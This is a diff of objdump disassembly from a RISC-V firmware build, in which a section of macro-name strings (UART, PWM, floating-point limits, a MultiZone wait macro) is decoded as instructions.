+    1e8e:	465f 4253 4b4c      	0x4b4c4253465f
+    1e94:	5f544e43          	fmadd.q	ft8,fs0,fs5,fa1,rmm
+    1e98:	5f54                	lw	a3,60(a4)
+    1e9a:	4544                	lw	s1,12(a0)
+    1e9c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1ea0:	4445                	li	s0,17
+    1ea2:	0020                	addi	s0,sp,8
+    1ea4:	465f 5953 434e      	0x434e5953465f
+    1eaa:	3020                	fld	fs0,96(s0)
+    1eac:	3278                	fld	fa4,224(a2)
+    1eae:	3030                	fld	fa2,96(s0)
+    1eb0:	0030                	addi	a2,sp,8
+    1eb2:	5f5f 5355 5245      	0x524553555f5f
+    1eb8:	4c5f 4241 4c45      	0x4c4542414c5f
+    1ebe:	505f 4552 4946      	0x49464552505f
+    1ec4:	5f58                	lw	a4,60(a4)
+    1ec6:	205f 5500 4c4c      	0x4c4c5500205f
+    1ecc:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    1ed0:	414d                	li	sp,19
+    1ed2:	0058                	addi	a4,sp,4
+    1ed4:	5f5f 7461 7274      	0x727474615f5f
+    1eda:	6269                	lui	tp,0x1a
+    1edc:	7475                	lui	s0,0xffffd
+    1ede:	5f65                	li	t5,-7
+    1ee0:	616d                	addi	sp,sp,240
+    1ee2:	6c6c                	flw	fa1,92(s0)
+    1ee4:	5f5f636f          	jal	t1,f8cd8 <__stack_size+0xf84d8>
+    1ee8:	0020                	addi	s0,sp,8
+    1eea:	535f 5a49 5f45      	0x5f455a49535f
+    1ef0:	5f54                	lw	a3,60(a4)
+    1ef2:	4544                	lw	s1,12(a0)
+    1ef4:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1ef8:	4445                	li	s0,17
+    1efa:	0020                	addi	s0,sp,8
+    1efc:	475f 4343 575f      	0x575f4343475f
+    1f02:	4152                	lw	sp,20(sp)
+    1f04:	5f50                	lw	a2,60(a4)
+    1f06:	49445453          	0x49445453
+    1f0a:	544e                	lw	s0,240(sp)
+    1f0c:	485f 0020 525f      	0x525f0020485f
+    1f12:	4545                	li	a0,17
+    1f14:	544e                	lw	s0,240(sp)
+    1f16:	545f 284d 7470      	0x7470284d545f
+    1f1c:	2972                	fld	fs2,280(sp)
+    1f1e:	2820                	fld	fs0,80(s0)
+    1f20:	2826                	fld	fa6,72(sp)
+    1f22:	7470                	flw	fa2,108(s0)
+    1f24:	2972                	fld	fs2,280(sp)
+    1f26:	3e2d                	jal	1a60 <__stack_size+0x1260>
+    1f28:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    1f2e:	6572                	flw	fa0,28(sp)
+    1f30:	6e65                	lui	t3,0x19
+    1f32:	2e74                	fld	fa3,216(a2)
+    1f34:	6c5f 636f 6c61      	0x6c61636f6c5f
+    1f3a:	6974                	flw	fa3,84(a0)
+    1f3c:	656d                	lui	a0,0x1b
+    1f3e:	625f 6675 0029      	0x296675625f
+    1f44:	4e49                	li	t3,18
+    1f46:	3654                	fld	fa3,168(a2)
+    1f48:	5f34                	lw	a3,120(a4)
+    1f4a:	414d                	li	sp,19
+    1f4c:	2058                	fld	fa4,128(s0)
+    1f4e:	5f5f 4e49 3654      	0x36544e495f5f
+    1f54:	5f34                	lw	a3,120(a4)
+    1f56:	414d                	li	sp,19
+    1f58:	5f58                	lw	a4,60(a4)
+    1f5a:	005f 425f 4745      	0x4745425f005f
+    1f60:	4e49                	li	t3,18
+    1f62:	535f 4454 435f      	0x435f4454535f
+    1f68:	0020                	addi	s0,sp,8
+    1f6a:	5f50                	lw	a2,60(a4)
+    1f6c:	6d74                	flw	fa3,92(a0)
+    1f6e:	6470                	flw	fa2,76(s0)
+    1f70:	7269                	lui	tp,0xffffa
+    1f72:	2220                	fld	fs0,64(a2)
+    1f74:	706d742f          	0x706d742f
+    1f78:	0022                	c.slli	zero,0x8
+    1f7a:	4955                	li	s2,21
+    1f7c:	544e                	lw	s0,240(sp)
+    1f7e:	4c5f 4145 5453      	0x545341454c5f
+    1f84:	3436                	fld	fs0,360(sp)
+    1f86:	4d5f 5841 5f00      	0x5f0058414d5f
+    1f8c:	585f4353          	0x585f4353
+    1f90:	5342                	lw	t1,48(sp)
+    1f92:	5f35                	li	t5,-19
+    1f94:	4c49                	li	s8,18
+    1f96:	3350                	fld	fa2,160(a4)
+    1f98:	5f32                	lw	t5,44(sp)
+    1f9a:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    1f9e:	4749                	li	a4,18
+    1fa0:	5f20                	lw	s0,120(a4)
+    1fa2:	565f4353          	0x565f4353
+    1fa6:	4c495f37          	lui	t5,0x4c495
+    1faa:	3350                	fld	fa2,160(a4)
+    1fac:	5f32                	lw	t5,44(sp)
+    1fae:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    1fb2:	4749                	li	a4,18
+    1fb4:	5f00                	lw	s0,56(a4)
+    1fb6:	445f 4345 4e4f      	0x4e4f4345445f
+    1fbc:	74285453          	0x74285453
+    1fc0:	7079                	c.lui	zero,0xffffe
+    1fc2:	2c65                	jal	227a <__stack_size+0x1a7a>
+    1fc4:	6176                	flw	ft2,92(sp)
+    1fc6:	2972                	fld	fs2,280(sp)
+    1fc8:	2820                	fld	fs0,80(s0)
+    1fca:	7428                	flw	fa0,104(s0)
+    1fcc:	7079                	c.lui	zero,0xffffe
+    1fce:	2965                	jal	2486 <__stack_size+0x1c86>
+    1fd0:	5f28                	lw	a0,120(a4)
+    1fd2:	755f 6e69 7074      	0x70746e69755f
+    1fd8:	7274                	flw	fa3,100(a2)
+    1fda:	745f 2829 6f63      	0x6f632829745f
+    1fe0:	736e                	flw	ft6,248(sp)
+    1fe2:	2074                	fld	fa3,192(s0)
+    1fe4:	6f76                	flw	ft10,92(sp)
+    1fe6:	6469                	lui	s0,0x1a
+    1fe8:	2a20                	fld	fs0,80(a2)
+    1fea:	2829                	jal	2004 <__stack_size+0x1804>
+    1fec:	6176                	flw	ft2,92(sp)
+    1fee:	2972                	fld	fs2,280(sp)
+    1ff0:	0029                	c.nop	10
+    1ff2:	53495f53          	0x53495f53
+    1ff6:	4e4c                	lw	a1,28(a2)
+    1ff8:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
+    1ffc:	2820                	fld	fs0,80(s0)
+    1ffe:	2828                	fld	fa0,80(s0)
+    2000:	296d                	jal	24ba <__stack_size+0x1cba>
+    2002:	5f26                	lw	t5,104(sp)
+    2004:	4649                	li	a2,18
+    2006:	544d                	li	s0,-13
+    2008:	2029                	jal	2012 <__stack_size+0x1812>
+    200a:	3d3d                	jal	1e48 <__stack_size+0x1648>
+    200c:	5f20                	lw	s0,120(a4)
+    200e:	4649                	li	a2,18
+    2010:	4e4c                	lw	a1,28(a2)
+    2012:	6300294b          	fnmsub.d	fs2,ft0,fa6,fa2,rdn
+    2016:	656c                	flw	fa1,76(a0)
+    2018:	7261                	lui	tp,0xffff8
+    201a:	7265                	lui	tp,0xffff9
+    201c:	5f72                	lw	t5,60(sp)
+    201e:	6e75                	lui	t3,0x1d
+    2020:	6f6c                	flw	fa1,92(a4)
+    2022:	64656b63          	bltu	a0,t1,2678 <__stack_size+0x1e78>
+    2026:	7028                	flw	fa0,96(s0)
+    2028:	2029                	jal	2032 <__stack_size+0x1832>
+    202a:	5f5f 6373 656c      	0x656c63735f5f
+    2030:	7261                	lui	tp,0xffff8
+    2032:	7265                	lui	tp,0xffff9
+    2034:	2872                	fld	fa6,280(sp)
+    2036:	2970                	fld	fa2,208(a0)
+    2038:	5f00                	lw	s0,56(a4)
+    203a:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    2040:	6e61                	lui	t3,0x18
+    2042:	6f6e                	flw	ft10,216(sp)
+    2044:	6174                	flw	fa3,68(a0)
+    2046:	6574                	flw	fa3,76(a0)
+    2048:	7828                	flw	fa0,112(s0)
+    204a:	2029                	jal	2054 <__stack_size+0x1854>
+    204c:	5f00                	lw	s0,56(a4)
+    204e:	495f 544e 465f      	0x465f544e495f
+    2054:	5341                	li	t1,-16
+    2056:	3854                	fld	fa3,176(s0)
+    2058:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    205e:	3020                	fld	fs0,96(s0)
+    2060:	3778                	fld	fa4,232(a4)
+    2062:	6666                	flw	fa2,88(sp)
+    2064:	6666                	flw	fa2,88(sp)
+    2066:	6666                	flw	fa2,88(sp)
+    2068:	0066                	c.slli	zero,0x19
+    206a:	6461                	lui	s0,0x18
+    206c:	696d                	lui	s2,0x1b
+    206e:	5f6e                	lw	t5,248(sp)
+    2070:	616e                	flw	ft2,216(sp)
+    2072:	656d                	lui	a0,0x1b
+    2074:	5500                	lw	s0,40(a0)
+    2076:	5241                	li	tp,-16
+    2078:	5f54                	lw	a3,60(a4)
+    207a:	5854                	lw	a3,52(s0)
+    207c:	4c525443          	0x4c525443
+    2080:	3020                	fld	fs0,96(s0)
+    2082:	3078                	fld	fa4,224(s0)
+    2084:	0038                	addi	a4,sp,8
+    2086:	5f5f 4953 455a      	0x455a49535f5f
+    208c:	4c5f464f          	0x4c5f464f
+    2090:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    2094:	4f44                	lw	s1,28(a4)
+    2096:	4255                	li	tp,21
+    2098:	454c                	lw	a1,12(a0)
+    209a:	5f5f 3120 0036      	0x3631205f5f
+    20a0:	5750                	lw	a2,44(a4)
+    20a2:	5f4d                	li	t5,-13
+    20a4:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    20a8:	4e45                	li	t3,17
+    20aa:	4c41                	li	s8,16
+    20ac:	53594157          	0x53594157
+    20b0:	3020                	fld	fs0,96(s0)
+    20b2:	3078                	fld	fa4,224(s0)
+    20b4:	3030                	fld	fa2,96(s0)
+    20b6:	3130                	fld	fa2,96(a0)
+    20b8:	3030                	fld	fa2,96(s0)
+    20ba:	0030                	addi	a2,sp,8
+    20bc:	5a4d                	li	s4,-13
+    20be:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    20c2:	28494657          	0x28494657
+    20c6:	2029                	jal	20d0 <__stack_size+0x18d0>
+    20c8:	7361                	lui	t1,0xffff8
+    20ca:	206d                	jal	2174 <__stack_size+0x1974>
+    20cc:	6f76                	flw	ft10,92(sp)
+    20ce:	616c                	flw	fa1,68(a0)
+    20d0:	6974                	flw	fa3,84(a0)
+    20d2:	656c                	flw	fa1,76(a0)
+    20d4:	2820                	fld	fs0,80(s0)
+    20d6:	6c22                	flw	fs8,8(sp)
+    20d8:	2069                	jal	2162 <__stack_size+0x1962>
+    20da:	3061                	jal	1962 <__stack_size+0x1162>
+    20dc:	202c                	fld	fa1,64(s0)
+    20de:	3b31                	jal	1dfa <__stack_size+0x15fa>
+    20e0:	2022                	fld	ft0,8(sp)
+    20e2:	7a6d                	lui	s4,0xffffb
+    20e4:	20656e6f          	jal	t3,582ea <__stack_size+0x57aea>
+    20e8:	203a                	fld	ft0,392(sp)
+    20ea:	203a                	fld	ft0,392(sp)
+    20ec:	203a                	fld	ft0,392(sp)
+    20ee:	6122                	flw	ft2,8(sp)
+    20f0:	2230                	fld	fa2,64(a2)
+    20f2:	3b29                	jal	1e0c <__stack_size+0x160c>
+    20f4:	4c00                	lw	s0,24(s0)
+    20f6:	635f 6574 6d72      	0x6d726574635f
+    20fc:	6469                	lui	s0,0x1a
+    20fe:	3120                	fld	fs0,96(a0)
+    2100:	0036                	c.slli	zero,0xd
+    2102:	535f 5f43 5f32      	0x5f325f43535f
+    2108:	45445f43          	0x45445f43
+    210c:	2056                	fld	ft0,336(sp)
+    210e:	3031                	jal	191a <__stack_size+0x111a>
+    2110:	0039                	c.nop	14
+    2112:	494d                	li	s2,19
+    2114:	284e                	fld	fa6,208(sp)
+    2116:	2c61                	jal	23ae <__stack_size+0x1bae>
+    2118:	2962                	fld	fs2,24(sp)
+    211a:	2820                	fld	fs0,80(s0)
+    211c:	2828                	fld	fa0,80(s0)
+    211e:	2961                	jal	25b6 <__stack_size+0x1db6>
+    2120:	283c                	fld	fa5,80(s0)
+    2122:	2962                	fld	fs2,24(sp)
+    2124:	3f29                	jal	203e <__stack_size+0x183e>
+    2126:	6128                	flw	fa0,64(a0)
+    2128:	3a29                	jal	1a42 <__stack_size+0x1242>
+    212a:	6228                	flw	fa0,64(a2)
+    212c:	2929                	jal	2546 <__stack_size+0x1d46>
+    212e:	5f00                	lw	s0,56(a4)
+    2130:	4350                	lw	a2,4(a4)
+    2132:	525f 4345 4d5f      	0x4d5f4345525f
+    2138:	5841                	li	a6,-16
+    213a:	585f 4546 5f52      	0x5f524546585f
+    2140:	455a4953          	0x455a4953
+    2144:	3120                	fld	fs0,96(a0)
+    2146:	5f5f0037          	lui	zero,0x5f5f0
+    214a:	4c46                	lw	s8,80(sp)
+    214c:	3354                	fld	fa3,160(a4)
+    214e:	5f32                	lw	t5,44(sp)
+    2150:	494d                	li	s2,19
+    2152:	5f4e                	lw	t5,240(sp)
+    2154:	5845                	li	a6,-15
+    2156:	5f50                	lw	a2,60(a4)
+    2158:	205f 2d28 3231      	0x32312d28205f
+    215e:	2935                	jal	259a <__stack_size+0x1d9a>
+    2160:	4600                	lw	s0,8(a2)
+    2162:	555f 4f4c 4b43      	0x4b434f4c555f
+    2168:	3020                	fld	fs0,96(s0)
+    216a:	5f00                	lw	s0,56(a4)
+    216c:	525f4353          	0x525f4353
+    2170:	5354                	lw	a3,36(a4)
+    2172:	4749                	li	a4,18
+    2174:	4d5f 5841 3120      	0x312058414d5f
+    217a:	0035                	c.nop	13
+    217c:	535f 5f43 454c      	0x454c5f43535f
+    2182:	4556                	lw	a0,84(sp)
+    2184:	314c                	fld	fa1,160(a0)
+    2186:	495f 4143 4843      	0x48434143495f
+    218c:	5f45                	li	t5,-15
+    218e:	494c                	lw	a1,20(a0)
+    2190:	454e                	lw	a0,208(sp)
+    2192:	455a4953          	0x455a4953
+    2196:	3120                	fld	fs0,96(a0)
+    2198:	3732                	fld	fa4,296(sp)
+    219a:	6600                	flw	fs0,8(a2)
+    219c:	6572                	flw	fa0,28(sp)
+    219e:	0065                	c.nop	25
+    21a0:	5f5f 4544 4943      	0x494345445f5f
+    21a6:	414d                	li	sp,19
+    21a8:	5f4c                	lw	a1,60(a4)
+    21aa:	4944                	lw	s1,20(a0)
+    21ac:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    21b0:	5f003633          	0x5f003633
+    21b4:	445f 4c42 4d5f      	0x4d5f4c42445f
+    21ba:	4e49                	li	t3,18
+    21bc:	315f 5f30 5845      	0x58455f30315f
+    21c2:	5f50                	lw	a2,60(a4)
+    21c4:	205f 2d28 3033      	0x30332d28205f
+    21ca:	66002937          	lui	s2,0x66002
+    21ce:	6572                	flw	fa0,28(sp)
+    21d0:	5a65                	li	s4,-7
+    21d2:	4d656e6f          	jal	t3,586a8 <__stack_size+0x57ea8>
+    21d6:	7365                	lui	t1,0xffff9
+    21d8:	65676173          	csrrsi	sp,0x656,14
+    21dc:	5f00                	lw	s0,56(a4)
+    21de:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
+    21e2:	5450                	lw	a2,44(s0)
+    21e4:	4452                	lw	s0,20(sp)
+    21e6:	4649                	li	a2,18
+    21e8:	5f46                	lw	t5,112(sp)
+    21ea:	2054                	fld	fa3,128(s0)
+    21ec:	5f00                	lw	s0,56(a4)
+    21ee:	465f 544c 3233      	0x3233544c465f
+    21f4:	5f58                	lw	a4,60(a4)
+    21f6:	4544                	lw	s1,12(a0)
+    21f8:	4f4e                	lw	t5,208(sp)
+    21fa:	4d52                	lw	s10,20(sp)
+    21fc:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    2202:	3420                	fld	fs0,104(s0)
+    2204:	392e                	fld	fs2,232(sp)
+    2206:	3034                	fld	fa3,96(s0)
+    2208:	3536                	fld	fa0,360(sp)
+    220a:	3436                	fld	fs0,360(sp)
+    220c:	3835                	jal	1a48 <__stack_size+0x1248>
+    220e:	3134                	fld	fa3,96(a0)
+    2210:	3432                	fld	fs0,296(sp)
+    2212:	3536                	fld	fa0,360(sp)
+    2214:	3434                	fld	fa3,104(s0)
+    2216:	3731                	jal	2122 <__stack_size+0x1922>
+    2218:	3536                	fld	fa0,360(sp)
+    221a:	3836                	fld	fa6,360(sp)
+    221c:	38323937          	lui	s2,0x38323
+    2220:	3836                	fld	fa6,360(sp)
+    2222:	3232                	fld	ft4,296(sp)
+    2224:	3331                	jal	1f30 <__stack_size+0x1730>
+    2226:	2d653237          	lui	tp,0x2d653
+    222a:	46343233          	0x46343233
+    222e:	00783233          	sltu	tp,a6,t2
+    2232:	5f5f 4c46 5f54      	0x5f544c465f5f
+    2238:	494d                	li	s2,19
+    223a:	5f4e                	lw	t5,240(sp)
+    223c:	3031                	jal	1a48 <__stack_size+0x1248>
+    223e:	455f 5058 5f5f      	0x5f5f5058455f
+    2244:	2820                	fld	fs0,80(s0)
+    2246:	332d                	jal	1f70 <__stack_size+0x1770>
+    2248:	5f002937          	lui	s2,0x5f002
+    224c:	505f4353          	0x505f4353
+    2250:	5948                	lw	a0,52(a0)
+    2252:	41505f53          	0x41505f53
+    2256:	20534547          	fmsub.s	fa0,ft6,ft5,ft4,rmm
+    225a:	3131                	jal	1e66 <__stack_size+0x1666>
+    225c:	5f00                	lw	s0,56(a4)
+    225e:	465f 544c 3233      	0x3233544c465f
+    2264:	5f58                	lw	a4,60(a4)
+    2266:	4944                	lw	s1,20(a0)
+    2268:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    226c:	3531                	jal	2078 <__stack_size+0x1878>
+    226e:	5f00                	lw	s0,56(a4)
+    2270:	755f 6e69 3174      	0x31746e69755f
+    2276:	5f36                	lw	t5,108(sp)
+    2278:	0074                	addi	a3,sp,12
+    227a:	4e49                	li	t3,18
+    227c:	5f54                	lw	a3,60(a4)
+    227e:	454c                	lw	a1,12(a0)
+    2280:	5341                	li	t1,-16
+    2282:	3654                	fld	fa3,168(a2)
+    2284:	5f34                	lw	a3,120(a4)
+    2286:	414d                	li	sp,19
+    2288:	2058                	fld	fa4,128(s0)
+    228a:	5f5f 4e49 5f54      	0x5f544e495f5f
+    2290:	454c                	lw	a1,12(a0)
+    2292:	5341                	li	t1,-16
+    2294:	3654                	fld	fa3,168(a2)
+    2296:	5f34                	lw	a3,120(a4)
+    2298:	414d                	li	sp,19
+    229a:	5f58                	lw	a4,60(a4)
+    229c:	005f 4843 5241      	0x52414843005f
+    22a2:	425f 5449 5f20      	0x5f205449425f
+    22a8:	435f 4148 5f52      	0x5f524148435f
+    22ae:	4942                	lw	s2,16(sp)
+    22b0:	5f54                	lw	a3,60(a4)
+    22b2:	005f 535f 5f43      	0x5f43535f005f
+    22b8:	45564153          	0x45564153
+    22bc:	5f44                	lw	s1,60(a4)
+    22be:	4449                	li	s0,18
+    22c0:	00362053          	fadd.s	ft0,fa2,ft3,rdn
+    22c4:	5f5f 4e47 4355      	0x43554e475f5f
+    22ca:	494c                	lw	a1,20(a0)
+    22cc:	415f454b          	fnmsub.s	fa0,ft10,fs5,fs0,rmm
+    22d0:	33204d53          	0x33204d53
+    22d4:	4900                	lw	s0,16(a0)
+    22d6:	504d                	c.li	zero,-13
+    22d8:	494c                	lw	a1,20(a0)
+    22da:	46544943          	fmadd.q	fs2,fs0,ft5,fs0,rmm
+    22de:	4552                	lw	a0,20(sp)
+    22e0:	0045                	c.nop	17
+    22e2:	5f5f 5253 2044      	0x204452535f5f
+    22e8:	7830                	flw	fa2,112(s0)
+    22ea:	3030                	fld	fa2,96(s0)
+    22ec:	3430                	fld	fa2,104(s0)
+    22ee:	5f00                	lw	s0,56(a4)
+    22f0:	575f 4843 5241      	0x52414843575f
+    22f6:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    22fc:	2820                	fld	fs0,80(s0)
+    22fe:	5f2d                	li	t5,-21
+    2300:	575f 4843 5241      	0x52414843575f
+    2306:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    230c:	2d20                	fld	fs0,88(a0)
+    230e:	3120                	fld	fs0,96(a0)
+    2310:	0029                	c.nop	10
+    2312:	5f5f 5450 4452      	0x445254505f5f
+    2318:	4649                	li	a2,18
+    231a:	5f46                	lw	t5,112(sp)
+    231c:	54444957          	0x54444957
+    2320:	5f48                	lw	a0,60(a4)
+    2322:	205f 3233 5f00      	0x5f003233205f
+    2328:	465f 5342 4944      	0x49445342465f
+    232e:	2844                	fld	fs1,144(s0)
+    2330:	73202973          	csrr	s2,0x732
+    2334:	7274                	flw	fa3,100(a2)
+    2336:	6375                	lui	t1,0x1d
+    2338:	2074                	fld	fa3,192(s0)
+    233a:	5f5f 6168 6b63      	0x6b6361685f5f
+    2340:	5f00                	lw	s0,56(a4)
+    2342:	4955                	li	s2,21
+    2344:	544e                	lw	s0,240(sp)
+    2346:	5f38                	lw	a4,120(a4)
+    2348:	5f54                	lw	a3,60(a4)
+    234a:	4544                	lw	s1,12(a0)
+    234c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    2350:	4445                	li	s0,17
+    2352:	0020                	addi	s0,sp,8
+    2354:	5f5f 4e49 5f54      	0x5f544e495f5f
+    235a:	41484357          	0x41484357
+    235e:	5f52                	lw	t5,52(sp)
+    2360:	5f54                	lw	a3,60(a4)
+    2362:	2048                	fld	fa0,128(s0)
+    2364:	5f00                	lw	s0,56(a4)
+    2366:	325f4353          	0x325f4353
+    236a:	505f 5342 545f      	0x545f5342505f
+    2370:	4152                	lw	sp,20(sp)
+    2372:	31204b43          	fmadd.s	fs6,ft0,fs2,ft6,rmm
+    2376:	3831                	jal	1b92 <__stack_size+0x1392>
+    2378:	7400                	flw	fs0,40(s0)
+    237a:	6d65                	lui	s10,0x19
+    237c:	0070                	addi	a2,sp,12
+    237e:	535f 5f43 4552      	0x45525f43535f
+    2384:	4441                	li	s0,16
+    2386:	5245                	li	tp,-15
+    2388:	575f 4952 4554      	0x45544952575f
+    238e:	5f52                	lw	t5,52(sp)
+    2390:	4f4c                	lw	a1,28(a4)
+    2392:	20534b43          	fmadd.s	fs6,ft6,ft5,ft4,rmm
+    2396:	5f003137          	lui	sp,0x5f003
+    239a:	4f50                	lw	a2,28(a4)
+    239c:	5f584953          	0x5f584953
+    23a0:	52554f53          	0x52554f53
+    23a4:	50004543          	fmadd.s	fa0,ft0,ft0,fa0,rmm
+    23a8:	5044                	lw	s1,36(s0)
+    23aa:	455f 444e 4149      	0x4149444e455f
+    23b0:	204e                	fld	ft0,208(sp)
+    23b2:	505f 5044 455f      	0x455f5044505f
+    23b8:	444e                	lw	s0,208(sp)
+    23ba:	4149                	li	sp,18
+    23bc:	004e                	c.slli	zero,0x13
+    23be:	5f5f 6973 657a      	0x657a69735f5f
+    23c4:	745f 0020 5f5f      	0x5f5f0020745f
+    23ca:	544e4957          	0x544e4957
+    23ce:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    23d4:	3020                	fld	fs0,96(s0)
+    23d6:	6678                	flw	fa4,76(a2)
+    23d8:	6666                	flw	fa2,88(sp)
+    23da:	6666                	flw	fa2,88(sp)
+    23dc:	6666                	flw	fa2,88(sp)
+    23de:	5566                	lw	a0,120(sp)
+    23e0:	5f00                	lw	s0,56(a4)
+    23e2:	4c5f4353          	0x4c5f4353
+    23e6:	5645                	li	a2,-15
+    23e8:	4c45                	li	s8,17
+    23ea:	5f32                	lw	t5,44(sp)
+    23ec:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+    23f0:	5f45                	li	t5,-15
+    23f2:	494c                	lw	a1,20(a0)
+    23f4:	454e                	lw	a0,208(sp)
+    23f6:	455a4953          	0x455a4953
+    23fa:	3120                	fld	fs0,96(a0)
+    23fc:	5f003333          	0x5f003333
+    2400:	465f 544c 455f      	0x455f544c465f
+    2406:	5350                	lw	a2,36(a4)
+    2408:	4c49                	li	s8,18
+    240a:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    240e:	3120                	fld	fs0,96(a0)
+    2410:	312e                	fld	ft2,232(sp)
+    2412:	3239                	jal	1d20 <__stack_size+0x1520>
+    2414:	3930                	fld	fa2,112(a0)
+    2416:	3832                	fld	fa6,296(sp)
+    2418:	3539                	jal	2226 <__stack_size+0x1a26>
+    241a:	3035                	jal	1c46 <__stack_size+0x1446>
+    241c:	32313837          	lui	a6,0x32313
+    2420:	3035                	jal	1c4c <__stack_size+0x144c>
+    2422:	3030                	fld	fa2,96(s0)
+    2424:	3030                	fld	fa2,96(s0)
+    2426:	3030                	fld	fa2,96(s0)
+    2428:	3030                	fld	fa2,96(s0)
+    242a:	3030                	fld	fa2,96(s0)
+    242c:	3030                	fld	fa2,96(s0)
+    242e:	3030                	fld	fa2,96(s0)
     2430:	3030                	fld	fa2,96(s0)
-    2432:	0030                	addi	a2,sp,8
-    2434:	5f5f 4347 5f43      	0x5f4343475f5f
-    243a:	5441                	li	s0,-16
-    243c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    2440:	545f 5345 5f54      	0x5f545345545f
-    2446:	4e41                	li	t3,16
-    2448:	5f44                	lw	s1,60(a4)
-    244a:	5f544553          	0x5f544553
-    244e:	5254                	lw	a3,36(a2)
-    2450:	4555                	li	a0,21
-    2452:	4156                	lw	sp,84(sp)
-    2454:	204c                	fld	fa1,128(s0)
-    2456:	0031                	c.nop	12
-    2458:	5f5f 4955 544e      	0x544e49555f5f
-    245e:	545f3233          	0x545f3233
-    2462:	5059                	c.li	zero,-10
-    2464:	5f45                	li	t5,-15
-    2466:	205f 6f6c 676e      	0x676e6f6c205f
-    246c:	7520                	flw	fs0,104(a0)
-    246e:	736e                	flw	ft6,248(sp)
-    2470:	6769                	lui	a4,0x1a
-    2472:	656e                	flw	fa0,216(sp)
-    2474:	2064                	fld	fs1,192(s0)
-    2476:	6e69                	lui	t3,0x1a
-    2478:	0074                	addi	a3,sp,12
-    247a:	5f5f 4e47 4355      	0x43554e475f5f
-    2480:	494c                	lw	a1,20(a0)
-    2482:	5f5f454b          	fnmsub.q	fa0,ft10,fs5,fa1,rmm
-    2486:	4f5f 4646 4553      	0x455346464f5f
-    248c:	4f54                	lw	a3,28(a4)
-    248e:	2046                	fld	ft0,80(sp)
-    2490:	0031                	c.nop	12
-    2492:	535f 5f43 454c      	0x454c5f43535f
-    2498:	4556                	lw	a0,84(sp)
-    249a:	314c                	fld	fa1,160(a0)
-    249c:	445f 4143 4843      	0x48434143445f
-    24a2:	5f45                	li	t5,-15
-    24a4:	455a4953          	0x455a4953
-    24a8:	3120                	fld	fs0,96(a0)
-    24aa:	3832                	fld	fa6,296(sp)
-    24ac:	5f00                	lw	s0,56(a4)
-    24ae:	555f 4e49 3854      	0x38544e49555f
-    24b4:	435f 6328 2029      	0x20296328435f
-    24ba:	44460063          	beq	a2,tp,28fa <__stack_size+0x20fa>
-    24be:	435f 4f4c 5845      	0x58454f4c435f
-    24c4:	4345                	li	t1,17
-    24c6:	3120                	fld	fs0,96(a0)
-    24c8:	5f00                	lw	s0,56(a4)
-    24ca:	465f 544c 3233      	0x3233544c465f
-    24d0:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    24d6:	3320                	fld	fs0,96(a4)
-    24d8:	342e                	fld	fs0,232(sp)
-    24da:	3230                	fld	fa2,96(a2)
-    24dc:	3238                	fld	fa4,96(a2)
-    24de:	36363433          	0x36363433
-    24e2:	32353833          	0x32353833
-    24e6:	3838                	fld	fa4,112(s0)
-    24e8:	3935                	jal	2124 <__stack_size+0x1924>
-    24ea:	3138                	fld	fa4,96(a0)
-    24ec:	3731                	jal	23f8 <__stack_size+0x1bf8>
-    24ee:	3430                	fld	fa2,104(s0)
-    24f0:	3831                	jal	1d0c <__stack_size+0x150c>
-    24f2:	34383433          	0x34383433
-    24f6:	3135                	jal	2122 <__stack_size+0x1922>
-    24f8:	3936                	fld	fs2,360(sp)
-    24fa:	3532                	fld	fa0,296(sp)
-    24fc:	2b65                	jal	2ab4 <__stack_size+0x22b4>
-    24fe:	33463833          	0x33463833
-    2502:	0032                	c.slli	zero,0xc
-    2504:	575f 4e41 5f54      	0x5f544e41575f
-    250a:	4552                	lw	a0,20(sp)
-    250c:	54534947          	0x54534947
-    2510:	5245                	li	tp,-15
-    2512:	465f 4e49 2049      	0x20494e49465f
-    2518:	0031                	c.nop	12
-    251a:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    251e:	485f 4749 5f48      	0x5f484749485f
-    2524:	4549                	li	a0,18
-    2526:	3020                	fld	fs0,96(s0)
-    2528:	3278                	fld	fa4,224(a2)
-    252a:	0038                	addi	a4,sp,8
-    252c:	4e49                	li	t3,18
-    252e:	3854                	fld	fa3,176(s0)
-    2530:	435f 6328 2029      	0x20296328435f
-    2536:	5f5f 4e49 3854      	0x38544e495f5f
-    253c:	435f 6328 0029      	0x296328435f
-    2542:	4955                	li	s2,21
-    2544:	544e                	lw	s0,240(sp)
-    2546:	3631                	jal	2052 <__stack_size+0x1852>
-    2548:	4d5f 5841 5f20      	0x5f2058414d5f
-    254e:	555f 4e49 3154      	0x31544e49555f
-    2554:	5f36                	lw	t5,108(sp)
-    2556:	414d                	li	sp,19
-    2558:	5f58                	lw	a4,60(a4)
-    255a:	005f 5f5f 6577      	0x65775f5f005f
-    2560:	6b61                	lui	s6,0x18
-    2562:	735f 6d79 6f62      	0x6f626d79735f
-    2568:	206c                	fld	fa1,192(s0)
-    256a:	5f5f 7461 7274      	0x727474615f5f
-    2570:	6269                	lui	tp,0x1a
-    2572:	7475                	lui	s0,0xffffd
-    2574:	5f65                	li	t5,-7
